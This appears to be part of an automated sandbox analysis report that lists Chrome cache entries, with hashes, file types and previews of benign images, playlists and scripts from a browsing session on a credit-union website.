SHA1:	91F0AEA6952B9F2968FA65BA2DC4A0C2F0F45582
SHA-256:	5141D8EE6F95AC870BE6C15EEE92A155D7D1B2BE1C1882C6D3DF80145E4C58FF
SHA-512:	479E3D5DA23AF457EB17D437E1D129502F4E09813D90D941DE53DCA7CA16BCE9FD51D823154445A60B1BE1A81AF9EB78CDED4DF5F5262916C078AE04532B9FCD
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/10s/master.m3u8?fastly_token=NjY1MTYzYjlfMmQ4NzNmMjU0YzIyMjBiZjgyYjkxOWI5NTg3OWQ3NTlkMDQ4Nzk3NmRlMGMzZjA0NjcyMzMyMmMzM2I2ODI0OQ%3D%3D
Preview:	#EXTM3U.#EXT-X-VERSION:4.#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-0",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/c9cd6061-fc51-4e6a-8450-d2338c97cc3f/10s/rendition.m3u8?fastly_token=NjY1MTRmNDlfMWEzNGQ3ZGE5OWEyYTk1ZTlmMTVhOGE4NjI0OGVkMTE1YWFkMjIzMGY0MDk2MDQ5MzhlM2MxZjFlMTQxNTRjMw%3D%3D".#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subtitles-0",NAME="Captions (En-US)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en-US",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/rendition.m3u8?fastly_token=NjY1MTRmNDlfODY2NmIzMWQ3NDYyODE4Y2Y2MjVkNzViYzc1Nzc1ZGI3NTY0MTIwZTRmZjhmMTA2MmE5ZWU5OGQ3OGMwYjM4MQ%3D%3D".#EXT-X-STREAM-INF:PROGRAM-ID=0,BANDWIDTH=889900,CODECS="mp4a.40.2,avc1.42001e",RESOLUTION=640x360,AUDIO="audio-0",CLOSED-CAPTIONS=NONE,SUBTITLES="subtitles-0".https://manifest.pro

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1813
Entropy (8bit):	5.283358086676831
Encrypted:	false
SSDEEP:	48:0OlhWc4JckVsJ+eF9zh9iktX8+5FdiRQbLde:TKH3g1kqde
MD5:	D7675CA4CF9C81A0E94F3FA809C4D5DB
SHA1:	9A2F1F5F50442A5363B2F42E58585EF8EDA5AB3E
SHA-256:	9488CB0046ABFA287953E0596B62B607866EBEDB228C02E274BB7F51E9624E60
SHA-512:	1E8F3DA461CEA2EC94F83C82C185B98D2259E5C370B4C76EAE48F9C85F60509FCE6878ADD871A3948796E3A3ACBA58DD17332978175753CB5E21963132F799AC
Malicious:	false
Reputation:	low
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 343 346"><defs><style>.cls-1,.cls-2{fill:#231f20;isolation:isolate;}.cls-1{opacity:0.1;}.cls-2{opacity:0.3;}.cls-3{fill:#f49322;}.cls-4{fill:#ed780f;}.cls-5{fill:#0f3d70;}.cls-6{fill:#1b68b2;}.cls-7{fill:none;}</style></defs><g id="Group_19176" data-name="Group 19176"><path id="Path_1341" data-name="Path 1341" class="cls-1" d="M167.87,110.54l-125,85L43.28,210,167.87,125.4Z"/><path id="Path_1342" data-name="Path 1342" class="cls-2" d="M292.87,195.57l-125-85V125.4L292.45,210Z"/></g><g id="Group_19175" data-name="Group 19175"><path id="Path_1341-2" data-name="Path 1341-2" class="cls-1" d="M167.87,184.53l-125,85L43.28,284l124.59-84.61Z"/><path id="Path_1342-2" data-name="Path 1342-2" class="cls-2" d="M292.87,269.55l-125-85v14.86L292.45,284Z"/></g><path id="Subtraction_127" data-name="Subtraction 127" class="cls-3" d="M43.13,196.53h0V159.12L167.87,76.93l.26.18v37.41l-.26-.17Z"/><path id="Subtraction_130" d

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	16805
Entropy (8bit):	7.943618218643026
Encrypted:	false
SSDEEP:	384:qT2w8jFNLmy5Qd5Jp8K85jVtu4b8N76xSGPp:qT2NXLmy5Qxp1kjrm7f0
MD5:	C7893A1E1AB35A6875304279426D94E8
SHA1:	A15E58D575F6AF4144E2925542B21391307EAC20
SHA-256:	FE6B70B5524C719E40A39FECF6268BA5F62F1244B5FE095B767DBEFB51BD5877
SHA-512:	1C11030C219EAC8C2065338DE3C0C43FA10314100D78F644864AA6D1BA4A6A3C4DE92D98EE7D3187081F2335F746102AD5CB5B410B89D4EA4A1DAB3B67E00C50
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i3!3i5!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=18000
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE......................................................v\|\|.............................................X]`.......bgi...kqr...........NRV.............z}..................... !$....9<=.......u.................._ch..=&..@XIDATx....z..............O_m.......DITq.\|...<..c./A4..6...q.4....?uK......A.c..y..``.W8..o....O...8...s..\|=?.7..u..TK%...i....$`%..G)..\k...w..Bn.G/.K.. 0?.L[J......r...`.A...}.c..{.x..< %.b...........m.a.G).`...w.h..r..y..<.?..?... ..v...6/Z$...W...g.d.8....2.y.@....q.ei.......... `....(....G..E-.....R-.F..._&m....))>\|pN........H....Xw?....>@.Z..........g........2...m....Zq+..M..<...@.d9.Q.?p. .w}v...\).J.....t.......SB........0.jEYd-{......N.<.......i..._.b}VK..D...j5.'Z..*........ .,....$..%.\|....L..\|.~..Y..T.m.p..&....."...Ki...\|...^.k..\)....aR......\|......&..$.+_.0C...Q...I....r......G..+i.....G..k.....g..JW..U.K^...tv_J&B....<Xu...

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x214, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	12462
Entropy (8bit):	7.985701236544007
Encrypted:	false
SSDEEP:	384:NE/IGvZELTGSjumROKmISOyrDKUt0LYtsRqjul3:2/1hELTGwuumIkV01uul3
MD5:	82166E176E9D77FC8FA1B9489FE7CB26
SHA1:	B49E656EA2777303614DABBF378E2B4E78292E8C
SHA-256:	978A1B927BB807A392E1B8FC7671E0073397543DC654C257C8B91DF368E1F155
SHA-512:	A059212FADB4403736787234223FC2CC2FCF97F3C95D668E2FEE176F660AC6A7B9B2236919881DF539461F575D2CBE6F3BCFB334CA6CF2526AB92D1C3F66DD4E
Malicious:	false
Reputation:	low
Preview:	RIFF.0..WEBPVP8 .0..0....@...>.@.J%..!.....L.k$[.....^I......~.......Q...w........S<...F.W.....Y.~r.........\|?.;....d..Vq.......".Dp.54S.....B.)..."...`../.#0.H`..C.Ea...."5.ifl.A=S`5...2'....s...k.....J..6..Y...?.....Me..(.po.}.a....m~...qZ"......nO.R:..v.dF.P46:$i..Z..#.l....!...}....BW.b....0,...K..'wY(};.......b.6."....8n."t..aV...l....D_$.5...CI>"L.S.GQ.....qc..h..{8.....m=u..S..#(L..h...E..#Fl....].._h.{..P..1...>.qn[.......7r..X.Y.}@..=2..=....V?Z......8:m...O . ...t......!........Uv.\|{..,..Nr...mP.......]`s.?) .s.X;...9....ofX,.K..........6$x.{.;...............E..8%.ZV....e....../~/.R...Nd.{........^...Y.I..<C...........s.t.N.D..#...tv..\|...p......9..^./.$..g.}......#.S.I#.!&...5.*8.......K.V....a.f._H]..l.S.'..4A.gFK.q.Q.SC.^..Z..L.w^f...N^..zw...l.`.O.. ..M..t,.y....1.A4.:.3qJ... .K...4..E.Z/ .)...hX.N,O]8.6\.'.f.J...<.p.e......V..................w....=j...ifSUM..I.t....B. ...t....U..r.....y.3D.T.K....m..o../.....x..1

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HW8tiCR:bh
MD5:	309472E01C38BD58A65E5655931B278C
SHA1:	DA7E289B2E4ED58901B64FE345E89018466B929C
SHA-256:	175D9002180F3EFC0F795CC4518F54B90B5139AA344B3F683FA4B167B4735307
SHA-512:	41E832016E7794A91384E276936A769134591A38EF1B95F9F6395E903CA447D752477A873C281DC25C07604A0B4EBAB0515B96B3F32439F16CA36BAEC225ED8A
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAmnIbxRg3egLhIFDRk1iPQ=?alt=proto
Preview:	CgkKBw0ZNYj0GgA=

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.3436579330312064
Encrypted:	false
SSDEEP:	24:kGGYEh4MlFPvVTboTPp5TDTj6lbosRD+G02jS5/lb4GhSbTTp5TTZZAfvh3c3Vbk:OBhH3hoPp5TDTj6lXM35/lUbTTp5TTZ2
MD5:	69B045D3CAD30A137A1EB0ECFC471224
SHA1:	BEC1B04AD2F3C2C8237277E3015AFD97BEABBA84
SHA-256:	3ADC614ACAA6918CFB31A80D3589231C0D38FBA7401E05D6F7302C4054AAACE0
SHA-512:	2DCFFB3190649B40E4A124C616D21CAB4286058488878EE77D4D6DA5BB2092420A830708C63B17C67657C4DD22F16795233175DB69953FE772AEF1D05C27AA40
Malicious:	false
Reputation:	low
Preview:	............ .h.......(....... ..... .....@....................................`#P.`#..`#.`#..`#.`#.`#..`#@.........................`#..`#..`#..`#.`#.`#..`#..`#.`#..`#..`#..`#..............`#..`#..`#..`#`.`#.`#@.`#..`#p.`#@.`#.`#p.`#..`#..`#..........`#..`#.`#..`#@.`#......`#..`#@.....`#..`#0.`#..`#.`#......`#`.`#.`#.`#.`#.`#.`#..`#.`#.`#..`#.`#.`#.`#.`#.`#@.`#..`#`.`#......`#..`# .....`#..`#@.....`# .`#......`#..`#`.`#..`#.`#..`#P.....`#..........`#..`#@.........`#......`#`.`#..`#.`#.`#..`#p.`#@.`#.`#@.`#@.`#..`#p.`#@.`#@.`#.`#@.`#p.`#..`#.`#.`#..`#..`#..`#.`#..`#..`#..`#..`#..`#..`#.`#..`#..`#..`#.`#.`#..`#P.....`#..........`#..`#@.........`#......`#P.`#..`#.`#..`#`.`#......`#..`# .....`#..`#@.....`# .`#......`#..`#`.`#..`#`.`#.`#.`#..`#.`#.`#..`#.`#.`#..`#.`#.`#..`#.`#.`#`.....`#..`#..`#..`#@.`#......`#..`#@.....`#..`#@.`#..`#.`#..........`#..`#.`#..`#P.`#.`#@.`#..`#p.`#@.`#.`#P.`#..`#.`#..............`#..`#..`#..`#.`#.`#..`#..`#.`

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	44057
Entropy (8bit):	7.994173191838047
Encrypted:	true
SSDEEP:	768:r4jJnJHfQ7RDiwS2zFvGNHBaQ3mDH4tVAIugw1q1XqttWehOkFx5ruBDDDsD:rAJnJYFDigzZWhaeM4tVAIugktW+puh2
MD5:	6BA93562A3F1F4AFA4FDB2B8147CE71D
SHA1:	E26E98DE9196D959A2F29455831BD402D677A98E
SHA-256:	DF0E7080AC4D0CD426E6CDF9EA92377C6E8CB56E5BD648106235D54C6983D163
SHA-512:	0A5F701490AA83FA46B3E0F49DD8482813C85ED826CF5449CB7B1C2702B144889EBF2D03305ECD4EAABF21E6AE05A626893CB1F7FE4F3D30A89107FAA67C9651
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/gettyimages-726777447?qlt=80&wid=480&ts=1689214943950&fit=constrain&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D....................(iinf..........infe........av01Color....jiprp...Kipco....ispe................pixi............av1C........colrnclx...........ipma...................mdat.....b;....h4 2....p.E.Q@.1...o.m:Q.Q.....%p./'][.w.>......oj...P..?h..5..,.2.T.....@$6}.X..b.H..E.7........:..?.S.p....#"......u..P0.....o5.YfL.?'..R.....j..3..z...2c..U.%.....E......p...;.QhQ6,.........]o......I]...A@.LP.S....X....&.._."=p.....a.G.K.I@];..F.m.\|k..?c2...!..^..\|..s-3'..w.~Pb1=.$.c.$O.w.f.c..3.o...F.C.gk.n4].)Cb..YI.W......s..3....bx.!.V....gc.h.{Z...V..X.A=..1.~.3..{..FKo.6....U.^...,...H.t..wz...Q...A..Q..."[..Z...._tL.u.mR..Qah..s.\...i......Z....p..g.W....wiu..p......r h&yD..."..(v..E%W.E..GDC$...BA....z.F...^.....E....C/..&+...F..c.;.uE.....+q.?.&.....G..*.0....YG)........;....i:0<.4.n^`..']v4o......a..D:M..o:..po!...W...S.......V..>..!...I.!o..R.B

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (404)
Category:	dropped
Size (bytes):	5769
Entropy (8bit):	5.875899234197044
Encrypted:	false
SSDEEP:	96:OfSc5HQsYw6o6nVoS5vjSwwzwQpWVDzyGrwghKMV1qrwWPCVD5JjwWnLHSgVbM:wSkHQsYJ1vGrwLyGrRh3qrnUl/nlM
MD5:	5CF55568F49C57E23FD20163A6F1622D
SHA1:	71BBB7162CED6EF0BF3694E5A326362EBD6B1DF6
SHA-256:	B79D57BF4DA9228DB17428FAB6C22142F03A0BAB85F66834F76A6D97927B4C1F
SHA-512:	8F0DA3F90624CB5C6A168AE82C2328440548CBF5795F36302F5586363E5E7669D6A48C9C78880CC80636983868BB47D00F56035C4F0350945EAC6C7A443A3E17
Malicious:	false
Reputation:	low
Preview:	#EXTM3U.#EXT-X-VERSION:4.#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-0",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/c9cd6061-fc51-4e6a-8450-d2338c97cc3f/10s/rendition.m3u8?fastly_token=NjY1MTUxYzBfNmNkNWJhNmFhM2E2NTc4ZDQxYzZkNjU5OTkyMmY3OWI2MDAwMWY4NDdjOTZjZDQxODljMGUzZDgyYzM0YjY5Mg%3D%3D".#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subtitles-0",NAME="Captions (En-US)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en-US",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/fd78cafe-3c21-4653-957d-e1ecbd8fece0/rendition.m3u8?fastly_token=NjY1MTUxYzBfN2FjMjAzMGQxOWI2MjZmMDM5MzM1MzllM2JkYzQ0ZTIzMTBiZDllZjRkMDY1N2Q4N2EwMDdiMGQ3N2IyYjMxNQ%3D%3D".#EXT-X-STREAM-INF:PROGRAM-ID=0,BANDWIDTH=889900,CODECS="mp4a.40.2,avc1.42001e",RESOLUTION=640x360,AUDIO="audio-0",CLOSED-CAPTIONS=NONE,SUBTITLES="subtitles-0".https://manifest.pro

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
Preview:	{}

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x157, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	3460
Entropy (8bit):	7.95206681234314
Encrypted:	false
SSDEEP:	96:gCDtjxh7HiDClaKMsoQQBU4FhNOZxFPNcuALwFqHS0/71:g27CoaKMpQ2UHVNcA2R
MD5:	2DDE5D92F46C56BEE6535B8695C06531
SHA1:	22D065B1373BF0409481C445DE8FCA137842AA9F
SHA-256:	AE4EA6EBC2F63A96F99A1D0F8670F426A224E013AAA66B5A6F6923992793CE3B
SHA-512:	C1D76B6FD71CA07553FDE5505B08C317F90E29B4D1677ACDD2B87BFF08DB3BB835AF7BE0FCFA5E90FFAF78D7EEDF9C1EC689A6C1076E7C84C0AC353D6B66AFFB
Malicious:	false
Reputation:	low
Preview:	RIFF\|...WEBPVP8 p...pE...@...>.H.K.."..u9....M......YZ..~\{9Z......:>....../.>....?W.h.......r.e.G...o..`...z.....=.?r?r=.?......,...K.@.J................+...B[.t."7.....p.o\|X..........~.....d.iS;Y..i(h.m.d..3..Q..,.."...>..0..V...B.......J.33+q5oh.h[9E.X..M.j.R...F../Q.....D....g....b~..B8s.v...331......5.../.c9..u}....O#\.../.w.u.!.Kd......=}X..$X3.y..e..EM..`.\..........TB78.}O.(dG....H..ff..+...iHye..1Nt.bIB,.a.Y.;f....../Uk[!(....3.d.?.9.._..O...UUUM!i....W.==Y..n...H.r..T..\.c.c.W...$...<ZW.)u.lV..G.....u..?....W.N.....0Xz.0..j.v,..FX.........e ........9g;.22..S...R....................8....Ya47{.@..L`.....6..U.l..[...n9Y....J%.G.....P.@.9./T.k.&0:`M......l.&....K...pm:>....._6Aor.....R.5Rm^p...........!.cp.......>2..q..O.l........N.......-....~..D..b.wf.......O..<t.r.1GBE1V~_..c......P/..!A......u.Q_(sF...7.E.......:tZ..?.\.y.w.n.7..@...+AP{...j.8..GW.RM..B..X..5..C.#.e.4'R.f...C*/..r...Co.weI.G{Z.\|0.B.....(E.....Xb.d.x..S..+o..X..././.

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x157, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	4872
Entropy (8bit):	7.961669186179695
Encrypted:	false
SSDEEP:	96:eRQzOaetxiWgcR9L7faaFLb2BGmLSMgTS9SrzvOjb01AHudvPuGpBgRPUMe:eR+detstcR9LjaaFLb2BGmLSMiSovAb2
MD5:	FD8F1CD868A239A50ECF5AF5264D4BDA
SHA1:	07E157919232E172AAE551F2F012FB62CE972133
SHA-256:	B8BFCA3A2747D4B74D9601022F731F9EC339EEDEAF4B2D972FB58E98F0CA441D
SHA-512:	0999F6CDCAA5339E00DECF45EDBF50EF41FDF6DC6CC1DEB28A849B682A4EB935CC72ECB11AF78B44A8ABECC82B7F2018E185E9D05BB61DA05BAF6FD077CB634F
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/A31857_Petrosino_MAM?qlt=80&wid=320&ts=1713976491230&dpr=off
Preview:	RIFF....WEBPVP8 .....S...@...>.B.J...........g.."}.. ;q;../....D.Q..8.....E-...}....+....._}.....Y..u..y\|.8..r..[x..K.c.a.3..i.Wtr37./I^..n......."......W..Kjj..&`X.y...W.Z.....O.l..4..Gug..<.I.E+..`.r.z.aC..^.?.`}.OCM>.....%.....5e.....I}.....x..,........1....P..~..&...w....H.r.g,...=12.u..t.^...l.-....w...J;....\|-u..^t.H. .e...{.a..f.j.....A.......$.\..`X.......'Qv...+,..r.U.((....c..G..<C...$.`+....-0..%F..^.b..h]..L.}.z....2.<.;..S..6B.._.i...`a0.=..w~.z.%.Jq^.n..w.}.....!'.Ba...b..'..q.....5......kM.>\|:......Z.lW..3...`.g.>.D.pt.v...t.4..`.5..~...&..SoC)..6..CX^.........0..O`..~W.... ....-..F.z.O......b......B.<j.z..........X.G>w.....l.R......4.fo...R.29:B7........._RTG.........;..l~....X....B.....-...eg.-...O.$.....=.e..X5.b............M....l4...........g..1..xQ...q`i.F.U^...9duS.gE...%.#(.j...)!g..ipE...v.y.....a4....!.v.\:.............".]....O..?.........Es..krY.....5.....V..%K..B.......+..F.iv.h.}W..i..3=..w.Dy...H..;...O....F..../.r.c

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (644), with no line terminators
Category:	downloaded
Size (bytes):	644
Entropy (8bit):	5.633793076505226
Encrypted:	false
SSDEEP:	12:hnMQbwuOaxyCkv4AEHeZLhmdHBTiUMlVo2IoaEuk7YBWTZK7:hMiRO91LAp8l0JSsQg7
MD5:	0345E4BBF324363553367539604D4279
SHA1:	272EA11645D0DCD26DD4C7F2AE6FD8E44D109693
SHA-256:	B963369F9116B89AF14BCD70D113E5383EFFB8CA9484A3869924ED26889EC9AB
SHA-512:	E76F53189B2A829492E111E3BC1C68CE46BBA76D993F115619DB9F2C7B41E50CAE0F4275A64D12A26E509A4382390FA527563D37355E7257C58FDAFD02CDFB0A
Malicious:	false
Reputation:	low
URL:	https://2992003.fls.doubleclick.net/activityi;dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F?
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img src="https://adservice.google.com/ddm/fls/z/dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=*;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F"/></body></html>

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	192
Entropy (8bit):	3.8695407288354637
Encrypted:	false
SSDEEP:	3:yionv//thPktklFtE5lxlK1fqXz/lll0lh2EXPO+vKXB1p:6v/lhPktk/m5laQz/lll0L2EfKTp
MD5:	B6143DC81921453A5443475D2A6E6D49
SHA1:	543EBC64172E51F00EA1A4EA9BF13CD60129311D
SHA-256:	C519E1F979BDAEA7CE26FCAF7CF41D7B3A937B3C8AC9D08D8D455CE4AFD14559
SHA-512:	FBD878CB564B63635BB2BE679E7751D54003D46888036FAD703906EB18BC273AA966A61007553C2736FAC53E58E5BFE822E03E5946A2875E8BCB800808F8BB2D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...........I....]IDATx...[..@..0.?4......................................................................G^...a...^.&s....IEND.B`.

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7036)
Category:	downloaded
Size (bytes):	262216
Entropy (8bit):	5.424740594095266
Encrypted:	false
SSDEEP:	6144:fNZWeHvr+c1F4uCymtNgYCsGsRt6hYEd4YquC+eGl8/bMnhQXLbd:fjWeHvr+c1FfCym4YWhYEd4YNC+eGl81
MD5:	5F11138EA39352177A314E6CDEC1C2E8
SHA1:	2C736CA4E699BACBCD43514A89928DCA6058E9D5
SHA-256:	4FCF5FF3A417317894CAF4B6686F8BD4B586473D4E424909BCCDDF92DF5187BF
SHA-512:	24D56CE0868E1381057EBB9EF37E3846389C39CC66AED92ECD8519E86273D741034405AFFB3366FBC8AECFF1A88E7C45A323F0D142C16090DD0D04D4FF17943B
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/57/0/common.js
Preview:	google.maps.__gjsload__('common', function(_){var Dda,Eda,Fda,Hda,Jda,Kda,Lda,Js,$s,Rda,Sda,Tda,xt,zt,yt,Uda,At,Vda,Bt,Et,Gt,It,Mt,Xda,Yda,$da,aea,Wt,Zda,bea,cea,dea,nu,pu,tu,wu,Fu,fea,ov,yv,Av,zv,kea,Tv,lea,Wv,Xv,Yv,dw,jw,mw,kw,ow,pea,pw,qea,sw,yw,uea,Aw,Bw,vea,Dw,Ew,Fw,Jw,Lw,Kw,Nw,Mw,Gw,Ow,Ww,zea,Yw,$w,cx,wx,Jy,$ea,bfa,cfa,Bz,Xz,yfa,Bfa,zfa,jA,rA,Efa,Kfa,Lfa,Mfa,Nfa,JA,KA,Qfa,Rfa,Sfa,Tfa,LA,Gda,Ida,ez,fz,Vfa,afa,dz,hz,Mda,Nda,dfa,Oda,Pda,qt,$fa,aga,bga,cga,dga,SA,Vy,gga,hga,iga,Qt,Rt,jga,kfa,xfa,vfa,ju,eea,xu;._.ps=function(a,b){return _.ca[a]=b};Dda=function(a,b){return _.Id(b)};.Eda=function(a){return JSON.stringify(a,function(b,c){switch(typeof c){case "boolean":case "string":case "undefined":return c;case "number":return isNaN(c)\|\|Infinity===c\|\|-Infinity===c?String(c):c;case "object":if(Array.isArray(c)){b=c.length;var d=c[b-1];if(_.Sg(d)){b--;const e=!_.dh(c);let f=0;for(const [g,h]of Object.entries(d)){d=g;const l=h;if(null!=l){f++;if(e)break;l instanceof _.ih&&l.Fg(c,+d)}}if(f

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7866), with no line terminators
Category:	downloaded
Size (bytes):	7866
Entropy (8bit):	5.43965487415609
Encrypted:	false
SSDEEP:	96:sT3lNjFgMMEMAq4GpibRX8Ru8wMYSSwNbgSG+pqT9B/oygfJvXqV0hL+XnE2Ntam:snF1MEMAzX2uVMYENb7S/qXXLUXXaFCl
MD5:	D53092C1D6E0A7A3D1BB802C67A6E1E9
SHA1:	2556EA4F15518FA36D0B92666E22CE28EDEC6745
SHA-256:	0CA2D5D4DECE21114294A8783944CDD00A4351935831B27F9A83B8EB543C6438
SHA-512:	4264CECFB1409B3ABFE8BE4A8A1C0FA2D7D661175640CB80AF7677CDFF9B24C439DE05D406FD369D4BB7227D94126CCBB5E441FC216300C80CE11ED1107DC369
Malicious:	false
Reputation:	low
URL:	https://liveengage.navyfederal.org/le_unified_window/10.35.1-release_1248342920/surveylogicinstance.min.js?version=10.35.1-release_1248342920
Preview:	window.lpTag=window.lpTag\|\|{};lpTag.taglets=lpTag.taglets\|\|{};lpTag.taglets.SurveyLogic=lpTag.taglets.SurveyLogic\|\|function(a){if(!a.survey\|\|"object"!=typeof a.survey\|\|this===window)return!1;this.survey=a.survey.survey\|\|a.survey;this.createQuestionsMap();this.defaultSelectValue=a.defaultSelectValue\|\|"";this.header=this.survey.header\|\|""};!function(a){var b="prototype";a[b].questionTypes={TEXTF:"Text Field",TEXT:"Text Area",SELECT:"Dropdown Box",RADIO:"Radio Button",RADIOH:"Radio Button (side by 